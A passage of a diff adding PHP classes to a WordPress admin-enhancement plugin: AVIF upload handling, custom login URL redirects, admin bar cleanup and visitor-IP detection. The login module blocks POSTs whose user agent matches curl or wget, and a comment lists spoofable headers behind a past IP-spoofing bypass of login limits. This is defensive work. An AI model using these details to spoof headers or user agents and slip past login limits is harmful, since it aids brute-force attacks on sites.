foreach( $missed_schedule_posts as $post ) {
wp_publish_post( $post['ID'] );
}
}
}
}
@@ -0,0 +1,236 @@
<?php
namespace ASENHA\Classes;
/**
* Class for AVIF Upload module
*
* @since 6.9.5
*/
class AVIF_Upload {
/**
* Add AVIF mime type to list of mime types
*
* @since 5.7.0
*/
public function add_avif_mime_type( $wp_get_mime_types ) {
$wp_get_mime_types['avif'] = 'image/avif';
return $wp_get_mime_types;
}
/**
* Add AVIF mime type to allowed mime types
*
* @since 5.7.0
*/
public function allow_avif_mime_type_upload( $mimes ) {
$mimes['avif'] = 'image/avif';
return $mimes;
}
/**
* Add AVIF to mapping of mime types to their respective extensions
*
* @since 5.7.0
*/
public function add_avif_mime_type_to_exts( $mime_to_ext ) {
$mime_to_ext['image/avif'] = 'avif';
return $mime_to_ext;
}
/**
* Add correct dimension for AVIF images
*
* @link https://plugins.trac.wordpress.org/browser/avif-support/trunk/includes/AvifSupport.php#L104
* @since 5.7.0
*/
public function add_avif_image_dimension( $metadata, $attachment_id, $context ) {
if ( empty( $metadata ) ) {
return $metadata;
}
$attachment_post = get_post( $attachment_id );
if ( ! $attachment_post || is_wp_error( $attachment_post ) ) {
return $metadata;
}
if ( 'image/avif' !== $attachment_post->post_mime_type ) {
return $metadata;
}
// Fix width and height
if (
( ! empty( $metadata['width'] )
&& ( 0 !== $metadata['width'] ) )
&& ( ! empty( $metadata['height'] )
&& 0 !== $metadata['height'] )
) {
return $metadata;
}
$file = get_attached_file( $attachment_id );
if ( ! $file ) {
return $metadata;
}
if ( empty( $metadata['width'] ) ) {
$metadata['width'] = 0;
}
if ( empty( $metadata['height'] ) ) {
$metadata['height'] = 0;
}
if ( empty( $metadata['file'] ) ) {
$metadata['file'] = _wp_relative_upload_path( $file );
}
if ( empty( $metadata['sizes'] ) ) {
$metadata['sizes'] = array();
}
$img_size = wp_getimagesize( $file );
// Legacy PHP Version, return false, fake it till manual.
if ( empty( $img_size ) ) {
$img_size = array(
0 => 0,
1 => 0,
2 => 19,
3 => 'width="0" height="0"',
'mime' => 'image/avif',
);
}
if ( is_array( $img_size ) && ( 0 !== $img_size[0] ) && ( 0 !== $img_size[1] ) ) {
// Do nothing, we have what we need
} else {
// Manually get width and height
$binary_string = file_get_contents( $file );
$ispe_pos = strpos( $binary_string, 'ispe' );
if ( false === $ispe_pos ) {
// Corrupted Image.
return false;
}
$dim_start_pos = $ispe_pos + 8;
$dim_bin = substr( $binary_string, $dim_start_pos, 8 );
$width = hexdec( bin2hex( substr( $dim_bin, 0, 4 ) ) );
$height = hexdec( bin2hex( substr( $dim_bin, 4, 8 ) ) );
if ( $width && $height && is_numeric( $width ) && is_numeric( $height ) ) {
$img_size[0] = absint( $width );
$img_size[1] = absint( $height );
}
// wp_getimagesize() failed, try with Imagick
// if ( extension_loaded( 'imagick' ) && class_exists( 'Imagick' ) ) {
// try {
// $imagick = new \Imagick( $file );
// $img_dim = $imagick->getImageGeometry();
// $img_size[0] = $img_dim['width'];
// $img_size[1] = $img_dim['height'];
// $imagick->clear();
// } catch ( \Exception $e ) {
// // Do nothing for now.
// }
// }
}
if ( ! $img_size ) {
$avif_specs = false;
} else {
$file_size = filesize( $file );
$avif_specs = array(
'width' => $img_size[0],
'height' => $img_size[1],
'mime' => $img_size['mime'],
'dimension' => $img_size[0] . 'x' . $img_size[1],
'ext' => str_replace( 'image/', '', $img_size['mime'] ),
'size' => $file_size,
'size_format' => size_format( $file_size ),
);
}
if ( is_wp_error( $avif_specs ) || ! $avif_specs ) {
return $metadata;
}
$metadata['width'] = $avif_specs['width'];
$metadata['height'] = $avif_specs['height'];
return $metadata;
// Fix scaled version of the image
}
/**
* Make sure AVIF files are displayable in the browser
*
* @since 5.7.0
*/
public function make_avif_displayable( $result, $path ) {
if ( str_ends_with( $path, '.avif' ) ) {
return true;
}
return $result;
}
/**
* Handle rare scenarios where exif and fileinfo fail to detect AVIF
*
* @since 5.7.0
*/
public function handle_exif_and_fileinfo_fail( $wp_check_filetype_and_ext, $file, $filename, $mimes, $real_mime ) {
// AVIF is properly handled, no need to do anything else
if ( $wp_check_filetype_and_ext['ext'] && $wp_check_filetype_and_ext['type'] ) {
return $wp_check_filetype_and_ext;
}
// Not an .avif file, no need to do anything else
if ( ! str_ends_with( $filename, '.avif' ) ) {
return $wp_check_filetype_and_ext;
} else {
$binary_string = file_get_contents( $file );
$ispe_pos = strpos( $binary_string, 'ispe' );
if ( false === $ispe_pos ) {
// Corrupted Image.
return false;
}
$dim_start_pos = $ispe_pos + 8;
$dim_bin = substr( $binary_string, $dim_start_pos, 8 );
$width = hexdec( bin2hex( substr( $dim_bin, 0, 4 ) ) );
$height = hexdec( bin2hex( substr( $dim_bin, 4, 8 ) ) );
// If this is a valid image with proper width and height, set filetype and ext to AVIF
if ( $width && $height && is_numeric( $width ) && is_numeric( $height ) ) {
$wp_check_filetype_and_ext['type'] = 'image/avif';
$wp_check_filetype_and_ext['ext'] = 'avif';
}
return $wp_check_filetype_and_ext;
}
}
}
@@ -0,0 +1,28 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Redirect After Login module
*
* @since 6.9.5
*/
class CAPTCHA_Protection {
/**
* Maybe keep original redirect
*
* @since 7.8.0
*/
public function maybe_keep_original_redirect( $username, $user ) {
// Skip redirection if login is performed from a WooCommerce checkout page
// This will ensure user is redirected back to the checkout page after successful login
if ( isset( $_REQUEST['woocommerce-login-nonce'] )
&& isset( $_REQUEST['redirect'] )
&& wc_get_checkout_url() == $_REQUEST['redirect']
) {
wp_safe_redirect( wc_get_checkout_url() );
exit();
}
}
}
@@ -0,0 +1,446 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Change Login URL module
*
* @since 6.9.5
*/
class Change_Login_URL {
/**
* Redirect to valid login URL when custom login slug is part of the request URL
*
* @link https://plugins.trac.wordpress.org/browser/admin-login-url-change/trunk/admin-login-url-change.php#L134
* @since 1.4.0
*/
public function redirect_on_custom_login_url() {
$options = get_option( ASENHA_SLUG_U );
$custom_login_slug = $options['custom_login_slug'];
$url_input = sanitize_text_field( $_SERVER['REQUEST_URI'] );
// Make sure $url_input ends with /
if ( false !== strpos( $url_input, $custom_login_slug ) ) {
if ( substr( $url_input, -1 ) != '/' ) {
$url_input = $url_input . '/';
}
}
// If URL contains the custom login slug, redirect to the dashboard
if ( false !== strpos( $url_input, '/' . $custom_login_slug . '/' ) ) {
if ( is_user_logged_in() ) {
if ( array_key_exists( 'redirect_after_login', $options ) && $options['redirect_after_login'] ) {
$redirect_after_login = new Redirect_After_Login();
$redirect_after_login_type = ( isset( $options['redirect_after_login_type'] ) ? $options['redirect_after_login_type'] : 'single_url' );
// Does the user have roles data in array form?
$user = wp_get_current_user();
if ( isset( $user->roles ) && is_array( $user->roles ) ) {
$current_user_roles = $user->roles;
// sort by value in descending order, so roles with custom redirection enabled comes first
}
if ( 'single_url' == $redirect_after_login_type && array_key_exists( 'redirect_after_login_for', $options ) && !empty( $options['redirect_after_login_for'] ) ) {
$redirect_after_login_to_slug_raw = ( isset( $options['redirect_after_login_to_slug'] ) ? $options['redirect_after_login_to_slug'] : '' );
$relative_path = $redirect_after_login->get_redirect_relative_path( $redirect_after_login_to_slug_raw );
$redirect_after_login_for = $options['redirect_after_login_for'];
if ( isset( $redirect_after_login_for ) && count( $redirect_after_login_for ) > 0 ) {
// Assemble single-dimensional array of roles for which custom URL redirection should happen
$roles_for_custom_redirect = array();
foreach ( $redirect_after_login_for as $role_slug => $custom_redirect ) {
if ( $custom_redirect ) {
$roles_for_custom_redirect[] = $role_slug;
}
}
// Set custom redirect URL for roles set in the settings. Otherwise, leave redirect URL to the default, i.e. admin dashboard.
foreach ( $current_user_roles as $role ) {
if ( in_array( $role, $roles_for_custom_redirect ) ) {
if ( isset( $_GET['action'] ) ) {
// User Switching plugin
if ( 'switch_to_user' == $_GET['action'] || 'switch_to_olduser' == $_GET['action'] ) {
return;
// This ensures user switching proceeds
} else {
wp_safe_redirect( home_url( $relative_path ) );
exit;
}
} else {
// Redirect to custom redirect slug
wp_safe_redirect( home_url( $relative_path ) );
exit;
}
} else {
if ( isset( $_GET['action'] ) ) {
// User Switching plugin
if ( 'switch_to_user' == $_GET['action'] || 'switch_to_olduser' == $_GET['action'] ) {
return;
// This ensures user switching proceeds
} else {
// Redirect to dashboard
wp_safe_redirect( get_admin_url() );
exit;
}
} else {
// Redirect to dashboard
wp_safe_redirect( get_admin_url() );
exit;
}
}
}
} else {
if ( isset( $_GET['action'] ) && ('switch_to_user' == $_GET['action'] || 'switch_to_olduser' == $_GET['action']) ) {
return;
// This ensures user switching proceeds
}
}
} else {
if ( 'separate_urls' == $redirect_after_login_type && array_key_exists( 'redirect_after_login_for_separate_role', $options ) && !empty( $options['redirect_after_login_for_separate_role'] ) ) {
// Redirect to dashboard
wp_safe_redirect( get_admin_url() );
} else {
// Redirect to dashboard
wp_safe_redirect( get_admin_url() );
exit;
}
}
} else {
if ( isset( $_GET['action'] ) ) {
// User Switching plugin
if ( 'switch_to_user' == $_GET['action'] || 'switch_to_olduser' == $_GET['action'] ) {
return;
// This ensures user switching proceeds
} else {
// Redirect to dashboard
wp_safe_redirect( get_admin_url() );
exit;
}
} else {
// Redirect to dashboard
wp_safe_redirect( get_admin_url() );
exit;
}
}
} else {
// Redirect to the login URL with custom login slug in the query parameters
wp_safe_redirect( site_url( '/wp-login.php?' . $custom_login_slug . '&redirect=false' ) );
exit;
}
}
}
/**
* Prevent redirect to custom login URL when Gravity Forms is active, and non-logged-in user opens a page with ?gf_page URL string
*
* @since 7.8.5
*/
public function prevent_redirect_to_custom_login_url() {
$url_input = sanitize_text_field( $_SERVER['REQUEST_URI'] );
$options = get_option( ASENHA_SLUG_U );
$custom_login_slug = $options['custom_login_slug'];
// Make sure $url_input ends with /
if ( false !== strpos( $url_input, $custom_login_slug ) ) {
if ( substr( $url_input, -1 ) != '/' ) {
$url_input = $url_input . '/';
}
}
if ( false === strpos( $url_input, '/' . $custom_login_slug . '/' ) && 'GET' === $_SERVER['REQUEST_METHOD'] && isset( $_GET['gf_page'] ) && !is_user_logged_in() && !wp_doing_ajax() ) {
wp_safe_redirect( site_url() );
exit;
}
}
/**
* Customize login URL returned when calling wp_login_url(). Add the custom login slug.
*
* @since 5.8.0
*/
public function customize_login_url( $login_url, $redirect, $force_reauth ) {
$options = get_option( ASENHA_SLUG_U );
$custom_login_slug = $options['custom_login_slug'];
$login_url = home_url( '/' . $custom_login_slug . '/' );
if ( !empty( $redirect ) ) {
$login_url = add_query_arg( 'redirect_to', urlencode( $redirect ), $login_url );
}
if ( $force_reauth ) {
$login_url = add_query_arg( 'reauth', '1', $login_url );
}
return $login_url;
}
/**
* Customize lost password URL. Add the custom login slug.
*
* @since 5.8.0
*/
public function customize_lost_password_url( $lostpassword_url ) {
$options = get_option( ASENHA_SLUG_U );
$custom_login_slug = $options['custom_login_slug'];
// return home_url( '/wp-login.php?backend&action=lostpassword' );
return $lostpassword_url . '&' . $custom_login_slug;
}
/**
* Customize registration URL. Add the custom login slug.
*
* @since 6.2.5
*/
public function customize_register_url( $registration_url ) {
$options = get_option( ASENHA_SLUG_U );
$custom_login_slug = $options['custom_login_slug'];
// return home_url( '/wp-login.php?action=register&custom_login_slug' );
return $registration_url . '&' . $custom_login_slug;
}
/**
* Redirect to /not_found when login URL does not contain the custom login slug
* This will redirect /wp-login.php and /wp-admin/ to /not_found/
*
* @link https://plugins.trac.wordpress.org/browser/admin-login-url-change/trunk/admin-login-url-change.php#L121
* @since 1.4.0
*/
public function redirect_on_default_login_urls() {
global $interim_login;
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
return;
}
if ( defined( 'DOING_CRON' ) && DOING_CRON ) {
return;
}
$options = get_option( ASENHA_SLUG_U );
$custom_login_slug = $options['custom_login_slug'];
// e.g. backend
$custom_login_whitelist_raw = ( isset( $options['custom_login_whitelist'] ) ? explode( PHP_EOL, $options['custom_login_whitelist'] ) : array() );
$custom_login_whitelist = array();
if ( !empty( $custom_login_whitelist_raw ) ) {
foreach ( $custom_login_whitelist_raw as $path ) {
$custom_login_whitelist[] = trim( $path );
}
}
$url_input = sanitize_text_field( $_SERVER['REQUEST_URI'] );
// e.g. /wp-admin/index.php?page=page-slug
$url_input_parts = explode( '/', $url_input );
$redirect_slug = 'not_found';
if ( isset( $_POST['log'] ) && !empty( $_POST['log'] ) && isset( $_POST['pwd'] ) && !empty( $_POST['pwd'] ) ) {
// When logging-in
$http_referrer = ( isset( $_SERVER['HTTP_REFERER'] ) ? sanitize_url( $_SERVER['HTTP_REFERER'] ) : '' );
$http_referrer_no_protocol = str_replace( array('https://', 'http://'), '', $http_referrer );
$http_referrer_parts = explode( '/', $http_referrer_no_protocol );
$http_user_agent = ( isset( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT'] : '' );
if ( in_array( 'paid-memberships-pro/paid-memberships-pro.php', get_option( 'active_plugins', array() ) ) && isset( $_POST['pmpro_login_form_used'] ) && '1' == $_POST['pmpro_login_form_used'] ) {
// Do nothing. i.e. do not redirect to /not_found/
// This is a login attempt from Paid Membership Pro login form, which may include a modal/pop-up form.
} elseif ( !empty( $http_referrer ) && false === strpos( $http_referrer, get_site_url() ) ) {
// The referer URL does not contain the site's URL. This is an attempt to do a login POST from an external URL / illegitimate method. Let's redirect that.
wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
exit;
} elseif ( !empty( $http_user_agent ) && preg_match( '/^(curl|wget)/i', $http_user_agent ) ) {
// The post request is coming from a cURL or Wget request, let's redirect that.
wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
exit;
} elseif ( empty( $http_referrer ) ) {
// The login request does not have HTTP_REFERER info. e.g. coming from cURL but with a user agent set to a browser's.
// Let's redirect that
wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
exit;
} elseif ( !empty( $http_referrer ) && false === strpos( $http_referrer, $custom_login_slug ) ) {
// The referrer URL does not contain the custom login slug. Could be an attempt to login via cURL POST.
if ( isset( $http_referrer_parts[1] ) && in_array( $http_referrer_parts[1], $custom_login_whitelist ) ) {
// Do nothing. i.e. do not redirect to /not_found/ as this contains a URL keyword that's been exlucded from redirection
} else {
wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
exit;
}
} else {
// Do nothing. i.e. do not redirect to /not_found/ as this contains a valin login POST request
// upon successful login, redirection to logged-in view of /wp-admin/ happens.
// Without this condition, login attempt will redirect to /not_found/
}
} elseif ( isset( $_POST['post_password'] ) && !empty( $_POST['post_password'] ) ) {
// When entering password for a password-protected post/page
// Do nothing. i.e. do not redirect to /not_found/
} elseif ( is_user_logged_in() ) {
// Do nothing user is already logged-in
// Redirect to /wp-admin/ (Dashboard) when accessing /wp-login.php without any $_POST data
if ( isset( $url_input_parts[1] ) && 'wp-login.php' == $url_input_parts[1] && empty( $_POST ) ) {
wp_safe_redirect( admin_url(), 302 );
exit;
}
} elseif ( !is_user_logged_in() ) {
// Non-empty query on path ending in /wp-admin or /admin only (not e.g. /wp-admin/admin.php?...). Must be a single boolean so the next elseif is not skipped by a broad "any query" condition.
$bare_wp_admin_or_admin_with_query = false;
$bare_admin_request_query = wp_parse_url( $url_input, PHP_URL_QUERY );
if ( is_string( $bare_admin_request_query ) && '' !== $bare_admin_request_query ) {
$bare_admin_request_path = wp_parse_url( $url_input, PHP_URL_PATH );
if ( is_string( $bare_admin_request_path ) && '' !== $bare_admin_request_path ) {
$bare_admin_path_segments = array_values( array_filter( explode( '/', trim( $bare_admin_request_path, '/' ) ) ) );
$bare_admin_last_segment = ( !empty( $bare_admin_path_segments ) ? end( $bare_admin_path_segments ) : '' );
if ( 'wp-admin' === $bare_admin_last_segment || 'admin' === $bare_admin_last_segment ) {
$bare_wp_admin_or_admin_with_query = true;
}
}
}
// WHen trying to access /wp-signup.php without the ?custom_login_slug, redirect to the redriect_slug
if ( isset( $url_input_parts[1] ) && 'wp-signup.php' == $url_input_parts[1] && false === strpos( $url_input, $custom_login_slug ) ) {
// Redirect to /not_found/
wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
exit;
} elseif ( false !== strpos( $url_input, 'wp-admin/admin-post.php' ) ) {
// Do nothing. i.e. do not redirect to /not_found/
} elseif ( $bare_wp_admin_or_admin_with_query ) {
wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
exit;
} elseif ( isset( $url_input_parts[1] ) && in_array( $url_input_parts[1], array(
'admin',
'wp-admin',
'login',
'wp-login',
'wp-login.php',
'login.php'
) ) && (!isset( $url_input_parts[2] ) || isset( $url_input_parts[2] ) && empty( $url_input_parts[2] ) || isset( $url_input_parts[2] ) && false !== strpos( $url_input_parts[2], '.php' )) ) {
// Redirect to /not_found/ or custom redirect slug
wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
exit;
} elseif ( false !== strpos( $url_input, 'wp-login.php' ) ) {
if ( isset( $_GET['action'] ) && ('logout' == $_GET['action'] || 'rp' == $_GET['action'] || 'resetpass' == $_GET['action']) || isset( $_GET['checkemail'] ) && ('confirm' == $_GET['checkemail'] || 'registered' == $_GET['checkemail']) || isset( $_GET['interim-login'] ) && '1' == $_GET['interim-login'] || 'success' == $interim_login || isset( $_GET['redirect_to'] ) && isset( $_GET['reauth'] ) && false !== strpos( $url_input, 'comment' ) ) {
// When we're logging out, inside the reset password flow, inside the registration flow or within the interim login flow
// e.g. https://www.example.com/wp-login.php?action=logout&_wpnonce=49bb818269
// e.g. https://www.example.com/wp-login.php?action=rp --> reset password
// e.g. https://www.example.com/wp-login.php?action=resetpass --> reset password
// e.g. https://www.example.com/wp-login.php?checkmail=confirm --> reset password
// e.g. https://www.example.com/wp-login.php?checkmail=registered --> register account
// e.g. https://www.example.com/wp-login.php?interim-login=1&wp_lang=en_US
// e.g. https://www.example.com/wp-admin/comment.php?action=approve&c=14#wpbody-content --> https://www.example.com/wp-login.php?redirect_to=https%3A%2F%2Fwww.example.com%2Fwp-admin%2Fcomment.php%3Faction%3Dapprove%26c%3D14&reauth=1#wpbody-content --> comment approve
// Do nothing.. proceed...
} elseif ( isset( $_GET['action'] ) && ('lostpassword' == $_GET['action'] || 'register' == $_GET['action']) ) {
// When resetting password or registering an account
if ( isset( $_POST['user_login'] ) ) {
// Sending the form to reset password or register an account...
// Do nothing.. proceed with password reset or account registration
} else {
// When landing on the password reset or registration form
// ...and custom login slug is not in the URL
if ( false === strpos( $url_input, $custom_login_slug ) ) {
// Redirect to /not_found/
wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
exit;
}
// or, custom login slug is in the url
// e.g. https://www.example.com/wp-login.php?action=lostpassword&customloginslug
// e.g. https://www.example.com/wp-login.php?action=register&customloginslug
// Do nothing... allow reset password or registration
}
} elseif ( isset( $_GET['action'] ) && 'validate_2fa' == $_GET['action'] ) {
// When performing two-factor authentication
// Do nothing. Do not redirect. Allow login.
} elseif ( false === strpos( $url_input, $custom_login_slug ) ) {
// When landing on the login form /wp-login.php
// ...and custom login slug is not in the URL
// Redirect to /not_found/
wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
exit;
} elseif ( false !== strpos( $url_input, $custom_login_slug ) ) {
// When landing on the login form /wp-login.php
// ...and custom login slug is in the URL
// e.g. https://www.example.com/wp-login.php?customloginslug&redirect=false
// Do nothing. Do not redirect. Allow login.
} else {
}
} else {
}
} else {
}
}
/**
* Redirect to custom login URL on failed login
*
* @link https://plugins.trac.wordpress.org/browser/admin-login-url-change/trunk/admin-login-url-change.php#L148
* @since 1.4.0
*
* @param string $username Username or email (WordPress 4.5+).
* @param \WP_Error|null $error Authentication error (WordPress 5.4+).
*/
public function redirect_to_custom_login_url_on_login_fail( $username = '', $error = null ) {
global $asenha_limit_login;
$options = get_option( ASENHA_SLUG_U );
$custom_login_slug = $options['custom_login_slug'];
if ( isset( $asenha_limit_login ) && is_array( $asenha_limit_login ) && $asenha_limit_login['within_lockout_period'] ) {
// Do nothing. This prevents redirection loop.
} else {
$should_redirect = true;
// Prevent redirection to wp-login.php if the login process is initiated by a custom login form, e.g. WooCommerce, JetFormBuilder
// i.e. the POST request will not contain WP login process defaults as follows
if ( !isset( $_POST['log'] ) && !isset( $_POST['pwd'] ) && !isset( $_POST['wp-submit'] ) && !isset( $_POST['testcookie'] ) ) {
$should_redirect = false;
}
if ( $should_redirect ) {
$is_disabled_account = false;
if ( is_wp_error( $error ) && in_array( Disable_User_Account::ERROR_CODE, $error->get_error_codes(), true ) ) {
$is_disabled_account = true;
Disable_User_Account::consume_pending_disabled_login_redirect_user_id();
} else {
$pending_disabled_id = Disable_User_Account::consume_pending_disabled_login_redirect_user_id();
if ( null !== $pending_disabled_id ) {
$is_disabled_account = true;
}
}
if ( $is_disabled_account ) {
// Preserve Disable User Account message (not the generic failed_login copy).
wp_safe_redirect( site_url( 'wp-login.php?' . $custom_login_slug . '&redirect=false&asenha_account_disabled=1' ) );
} else {
// Append 'failed_login=true' so we can output custom error message above the login form
wp_safe_redirect( site_url( 'wp-login.php?' . $custom_login_slug . '&redirect=false&failed_login=true' ) );
}
exit;
}
}
}
/**
* Add login error message on top of the login form.
* Only shown if there's a failed_login URL parameter, and Limit Login Attempts module is not enabled.
* If LLA module is enabled, the same custom login error message is handled there.
*
* @since 6.9.1
*/
public function add_failed_login_message( $message ) {
global $asenha_limit_login;
$asenha_account_disabled = ( isset( $_REQUEST['asenha_account_disabled'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['asenha_account_disabled'] ) ) : '' );
if ( '1' === $asenha_account_disabled ) {
$message = '<div id="login_error" class="notice notice-error"><b>' . esc_html__( 'Error:', 'admin-site-enhancements' ) . '</b> ' . esc_html__( 'Your account has been disabled.', 'admin-site-enhancements' ) . '</div>';
return $message;
}
if ( isset( $_REQUEST['failed_login'] ) && $_REQUEST['failed_login'] == 'true' ) {
if ( is_null( $asenha_limit_login ) ) {
$message = '<div id="login_error" class="notice notice-error"><b>' . __( 'Error:', 'admin-site-enhancements' ) . '</b> ' . __( 'Invalid username/email or incorrect password.', 'admin-site-enhancements' ) . '</div>';
}
}
return $message;
}
/**
* Redirect to custom login URL on successful logout
*
* @link https://plugins.trac.wordpress.org/browser/admin-login-url-change/trunk/admin-login-url-change.php#L148
* @since 1.4.0
*/
public function redirect_to_custom_login_url_on_logout_success() {
$options = get_option( ASENHA_SLUG_U );
$custom_login_slug = $options['custom_login_slug'];
// Redirect to the login URL with custom login slug in it
wp_safe_redirect( home_url( 'wp-login.php?' . $custom_login_slug . '&redirect=false' ) );
exit;
}
/**
* Customize logout URL by adding the custom login slug to it
*
* @since 7.0.2.3
*/
public function customize_logout_url( $logout_url, $redirect ) {
$options = get_option( ASENHA_SLUG_U );
$custom_login_slug = $options['custom_login_slug'];
if ( !empty( $redirect ) ) {
$logout_url = add_query_arg( 'redirect_to', urlencode( $redirect ), $logout_url );
}
$logout_url .= '&' . $custom_login_slug;
return $logout_url;
}
}
@@ -0,0 +1,106 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Clean Up Admin Bar module
*
* @since 6.9.5
*/
class Cleanup_Admin_Bar {
/**
* Node ID prefix for Admin Bar Custom Elements (Pro). Must match generateItemId() in assets/premium/js/admin-bar-custom-elements.js.
*
* @var string
*/
const ADMIN_BAR_CUSTOM_ELEMENTS_NODE_ID_PREFIX = 'asenha-ab-';
/**
* Modify admin bar menu for Admin Interface >> Hide or Modify Elements feature
*
* @param $wp_admin_bar object The admin bar.
* @link https://wordpress.stackexchange.com/a/12652
* @since 1.9.0
*/
public function modify_admin_bar_menu( $wp_admin_bar ) {
$options = get_option( ASENHA_SLUG_U, array() );
// Hide WP Logo Menu
if ( array_key_exists( 'hide_ab_wp_logo_menu', $options ) && $options['hide_ab_wp_logo_menu'] ) {
remove_action( 'admin_bar_menu', 'wp_admin_bar_wp_menu', 10 );
// priority needs to match default value. Use QM to reference.
}
// Hide home icon and site name
if ( array_key_exists( 'hide_ab_site_menu', $options ) && $options['hide_ab_site_menu'] ) {
remove_action( 'admin_bar_menu', 'wp_admin_bar_site_menu', 30 );
// priority needs to match default value. Use QM to reference.
}
// Hide Customize Menu
if ( array_key_exists( 'hide_ab_customize_menu', $options ) && $options['hide_ab_customize_menu'] ) {
remove_action( 'admin_bar_menu', 'wp_admin_bar_customize_menu', 40 );
// priority needs to match default value. Use QM to reference.
}
// Hide Updates Counter/Link
if ( array_key_exists( 'hide_ab_updates_menu', $options ) && $options['hide_ab_updates_menu'] ) {
remove_action( 'admin_bar_menu', 'wp_admin_bar_updates_menu', 50 );
// priority needs to match default value. Use QM to reference.
}
// Hide Comments Counter/Link
if ( array_key_exists( 'hide_ab_comments_menu', $options ) && $options['hide_ab_comments_menu'] ) {
remove_action( 'admin_bar_menu', 'wp_admin_bar_comments_menu', 60 );
// priority needs to match default value. Use QM to reference.
}
// Hide New Content Menu
if ( array_key_exists( 'hide_ab_new_content_menu', $options ) && $options['hide_ab_new_content_menu'] ) {
remove_action( 'admin_bar_menu', 'wp_admin_bar_new_content_menu', 70 );
// priority needs to match default value. Use QM to reference.
}
}
/**
* Remove 'Howdy' from admin bar's account item
*
* @param $wp_admin_bar object The admin bar.
* @link https://wordpress.stackexchange.com/a/12652
* @since 7.3.1
*/
public function remove_howdy( $wp_admin_bar ) {
$options = get_option( ASENHA_SLUG_U, array() );
// Hide 'Howdy' text
if ( array_key_exists( 'hide_ab_howdy', $options ) && $options['hide_ab_howdy'] ) {
// Remove the whole my account sectino and later rebuild it
remove_action( 'admin_bar_menu', 'wp_admin_bar_my_account_item', 7 );
// Up to WP v6.5.5
remove_action( 'admin_bar_menu', 'wp_admin_bar_my_account_item', 9991 );
// Since WP v6.6
$current_user = wp_get_current_user();
$user_id = get_current_user_id();
$profile_url = get_edit_profile_url( $user_id );
$avatar = get_avatar( $user_id, 26 );
// size 26x26 pixels
$display_name = $current_user->display_name;
$class = ( $avatar ? 'with-avatar' : 'no-avatar' );
$wp_admin_bar->add_menu( array(
'id' => 'my-account',
'parent' => 'top-secondary',
'title' => $display_name . $avatar,
'href' => $profile_url,
'meta' => array(
'class' => $class,
),
) );
}
}
/**
* Hide the Help tab and drawer
*
* @since 4.5.0
*/
public function hide_help_drawer() {
if ( is_admin() ) {
$screen = get_current_screen();
$screen->remove_help_tabs();
}
}
}
@@ -0,0 +1,818 @@
<?php
namespace ASENHA\Classes;
use WP_Query;
/**
* Class that provides common methods used throughout the plugin
*
* @since 2.5.0
*/
class Common_Methods {
/**
* Get IP of the current visitor/user. In use by at least the Limit Login Attempts feature.
* This takes a best guess of the visitor's actual IP address.
* Takes into account numerous HTTP proxy headers due to variations
* in how different ISPs handle IP addresses in headers between hops.
*
* @link https://stackoverflow.com/q/1634782
* @since 2.5.0
*/
public function get_user_ip_address( $return_type = 'ip', $for_which_module = 'limit-login-attempts' ) {
$options = get_option( ASENHA_SLUG_U, array() );
$ip_address_header = '';
switch ( $for_which_module ) {
case 'limit-login-attempts':
$ip_address_header = ( isset( $options['limit_login_attempts_header_override'] ) ? trim( $options['limit_login_attempts_header_override'] ) : '' );
break;
case 'password-protection':
$ip_address_header = ( isset( $options['password_protection_header_override'] ) ? trim( $options['password_protection_header_override'] ) : '' );
break;
}
// Attempt to get IP address with the preferred header
if ( !empty( $ip_address_header ) && isset( $_SERVER[$ip_address_header] ) ) {
// Check if multiple IP addresses exist in var
$ip_list = explode( ',', $_SERVER[$ip_address_header] );
if ( is_array( $ip_list ) && count( $ip_list ) > 1 ) {
foreach ( $ip_list as $ip ) {
switch ( $return_type ) {
case 'ip':
if ( $this->is_ip_valid( trim( $ip ) ) ) {
return sanitize_text_field( trim( $ip ) );
} else {
return '0.0.0.0';
// placeholder IP address
}
break;
case 'header':
return $ip_address_header . ' (multiple IP addresses)';
break;
}
}
} else {
switch ( $return_type ) {
case 'ip':
if ( $this->is_ip_valid( trim( $_SERVER[$ip_address_header] ) ) ) {
return sanitize_text_field( $_SERVER[$ip_address_header] );
} else {
return '0.0.0.0';
// placeholder IP address
}
break;
case 'header':
return $ip_address_header;
break;
}
}
}
// The following request headers can be modified by user or attacker when sending a request, so, will bypass an already blocked IP
// 'HTTP_CLIENT_IP', 'CF_CONNECTING_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_CF_CONNECTING_IP', 'TRUE_CLIENT_IP', 'HTTP_TRUE_CLIENT_IP', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED'
// Reported as security vulnerability in ASE <= v7.6.7.1 -- Limit Login Attempt Bypass via IP Spoofing
// Return unreliable but unspoofable IP address coming from the $_SERVER global as the default / fallback
switch ( $return_type ) {
case 'ip':
if ( $this->is_ip_valid( trim( $_SERVER['REMOTE_ADDR'] ) ) ) {
return sanitize_text_field( $_SERVER['REMOTE_ADDR'] );
} else {
return '0.0.0.0';
// placeholder IP address
}
break;
case 'header':
return 'REMOTE_ADDR';
break;
}
}
/**
* Check if the supplied IP address is valid or not
*
* @param string $ip an IP address
* @link https://stackoverflow.com/q/1634782
* @return boolean true if supplied address is valid IP, and false otherwise
*/
public function is_ip_valid( $ip ) {
if ( empty( $ip ) ) {
return false;
}
// Ref: https://www.php.net/manual/en/filter.filters.validate.php
// Ref: https://www.php.net/manual/en/filter.constants.php#constant.filter-validate-ip
// No need to specify which IP type to filter/check, e.g. filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 )
// This should check for both IPv4 and IPv6 addresses
